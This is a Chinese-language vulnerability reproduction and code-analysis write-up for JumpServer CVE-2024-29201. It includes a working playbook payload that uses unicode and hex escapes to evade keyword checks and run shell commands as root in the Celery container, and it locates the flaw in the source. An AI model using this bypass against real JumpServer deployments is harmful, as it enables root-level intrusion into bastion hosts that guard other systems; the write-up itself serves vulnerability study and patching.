JumpServer 漏洞复现 (CVE-2024-29201)

0x01 简介

JumpServer 是广受欢迎的开源堡垒机。

0x02 漏洞概述

JumpServer 3.0版本开始引入批量下发作业功能,在其3.10.7之前版本中,攻击者可以通过构建恶意 playbook 模板绕过Ansible中的输入验证机制从而在 Celery 容器中以root权限执行任意代码。

在修复版本中,通过移除job-execution接口相关代码以修复漏洞。

0x03 漏洞复现

1、根据官方文档安装环境,注意软件版本。快速入门 – JumpServer 文档

2、 登录admin用户–资产管理–资产列表–新增资产

3、账号管理–账号列表–添加

4、创建完账号后测试

创建账户

测试账户

5、创建资产

测试资产连接

6、创建一个账号并授权资产

7、登录test账户,作业中心–模板管理–playbook管理–工作空间

新建作业(图中是新建完成的)

在作业空间中输入payload

[{  
     "name": "RCE playbook",  
     "hosts": "all",  
     "tasks": [  
       {  
         "name": "this runs in Celery container",  
         "shell": "id > /tmp/pwnd",  
         "\u0064elegate_to": "localhost"  
} ],  
     "vars": {  
     "ansible_\u0063onnection": "local"  
     }  
}]

8、作业管理-运行

9、查看文件

资产中查看(上文的192.168.110.250)

docker中查看(celery中)

0x04 漏洞分析

比对代码

apps/assets/automations/base/manager.py

查看SuperPlaybookRunner

新增的子类,将一个实例变量self.envs设置为一个字{"LOCAL_CONNECTION_ENABLED": "1"}

再去runner变量所在的函数get_runners所在的类BasePlaybookManager的应用。

根据名字看第一个

看GatherAccountsManager,是一个继承的子类

看ExecutionManager,将多个类自动分配

根据名字再看apps/assets/models/automations/base.py

这里看了很久,感觉并不是漏洞注入的地方,好像是账户管理相关的。。先放一下找其他的。

=========================

apps/ops/ansible/runner.py,查看另一个修改的地方

进一步搜索后,在job.py中发现了PlaybookRunner实例的创建,查看apps/ops/api/job.py,

查看类的使用

到这里就确认了漏洞的注入点

(其实弄完了反应过来,根据情报去写poc的话,可以直接在系统里找playbook的。。。)

想想怎么构建payload的

确认PlaybookRunner在get_runner中调用

注意before_start()

利用关键字对输入的数据进行校验

具体的校验关键字

====

由此,结合对playbook的了解,使用ascii也应该可以

[{  
     "name": "RCE playbook",  
     "hosts": "all",  
     "tasks": [  
       {  
         "name": "this runs in Celery container",  
         "shell": "id > /tmp/pwnd",  
         "\u0064elegate_to": "localhost"  
} ],  
     "vars": {  
     "ansible_\x63onnection": "local"  
     }  
}]

0x05总结

漏洞的原因:

1、jumpserver在执行命令的可以执行 localhost的命令,这一点在后续修复漏洞中通过重新引入一个env进行校验

2、输入没有做足够的校验

0x06漏洞修复

升级版本

0x07参考链接

JumpServer 远程代码执行 CVE-2024-29201&&CVE-2024-29202 漏洞分析 – 先知社区 (aliyun.com)

https://wh0am1i.com/2024/03/30/JumpServer-CVE-2024-29201-CVE-2024-29202

上一篇
下一篇